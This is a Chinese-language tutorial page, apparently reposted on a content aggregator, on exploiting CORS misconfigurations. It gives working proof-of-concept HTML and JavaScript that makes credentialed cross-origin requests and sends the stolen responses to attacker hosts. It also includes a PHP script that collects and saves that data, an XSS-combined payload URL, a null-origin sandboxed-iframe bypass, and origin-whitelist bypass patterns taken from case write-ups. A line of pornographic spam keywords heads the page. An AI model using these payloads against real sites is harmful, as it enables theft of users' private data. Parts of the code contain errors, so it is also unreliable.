日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CORS漏洞的利用方式(精)

發布時間:2025/3/15 编程问答 43 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CORS漏洞的利用方式(精) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1.同于csrf跨站請求偽造,發送釣魚鏈接,讀取用戶敏感數據。

poc:

<html> <body> <center> <h2>CORS POC Exploit</h2> <h3>Extract SID</h3><div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div><script> function cors() {var xhttp = new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.getElementById("demo").innerHTML = alert(this.responseText);}};xhttp.open("GET", "https://target.com/info/", true);xhttp.withCredentials = true;xhttp.send(); } </script> </body> </html>

用戶點擊button彈出響應信息

document.getElementById("demo").innerHTML = alert(this.responseText);

上面代碼只是彈出響應信息,你還可以獲取cookie,針對http-only js代碼無法讀取的情況:

<!DOCTYPE> <html> <h1>cors exploit</h1> <script type="text/javascript"> function exploit() {var xhr1;var xhr2;if(window.XMLHttpRequest){xhr1 = new XMLHttpRequest();xhr2 = new XMLHttpRequest();}else{xhr1 = new ActiveXObject("Microsoft.XMLHTTP");xhr2= new ActiveXObject("Microsoft.XMLHTTP");}xhr1.onreadystatechange=function(){if(xhr1.readyState == 4 && xhr1.status == 200) {var datas=xhr1.responseText;xhr2.open("POST","http://192.168.1.2/test.php","true");xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");xhr2.send("z0="+escape(datas)); }}xhr1.open("GET","http:/192.168.1.1/index.php","true") xhr1.withCredentials = true; xhr1.send(); } exploit(); </script> </html>

搭建的攻擊服務器惡意代碼 tes.php:

<?php $file = fopen("secrect.html", "w+"); $res = $_POST['z0']; fwrite($file, $res); fclose($res); ?>

2.結合xss漏洞利用cors漏洞,針對http_only js代碼無法讀取

poc:

function exploit() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.status == 200) { alert(this.responseText); document.getElementById("demo").innerHTML = this.responseText; } }; xhttp.open("GET", "http://192.168.1.1/index.php", true); xhttp.withCredentials = true; xhttp.send(); } exploit();

利用:

http://192.168.1.1/index.php?<script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","http:///192.168.1.1",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

同理結合上面代碼,發送到你的服務器

3.基于白名單防護的繞過

Origin: null

同上,判斷是否支持null

如果支持可以使用iframe跨域請求,繞過

poc:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vuln.com',true); req.withCredentials = true; req.send();function reqListener() { location='your.com/l?get='+this.responseText; }; </script>'></iframe>

4. 某實例

1)SEMrush CORS misconfig

訪問semrush的一個api端點,插入Origin頭為攻擊者服務器:

返回信息主體是用戶敏感信息,需注意的是返回的Access-Control-Allow-Origin是攻擊者服務器,這意味著系統存在CORS配置錯誤。

下一步,構造HTML文件,誘使受害者點擊:

點擊后,界面將彈出受害者敏感信息:

修改一下reqListener()函數為

location='//atttacker.net/log?key='+this.responseText;將把敏感數據發到攻擊者服務器。

2)redacted子域XSS+ CORSmisconfig

和上面的案例類似,只是Origin接受的是redacted和子域:Origin:evil.redacted.com,要利用這個漏洞,必須在子域中尋找一個xss漏洞,結合xss發起請求,最終在banques.redacted.com發現xss:

https://banques.redacted.com/choice-quiz?form_banque=“> <script> alert(document.domain)</script>&form_cartes= 73&iframestat= 1,將alert事件替換為CORS請求:

最終poc為:

成功獲取到敏感數據:

3)繞過手段

繞過通常使用如下poc:

http://www.target.local{.<your-domain>/cors-poc

總結

以上是生活随笔為你收集整理的CORS漏洞的利用方式(精)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。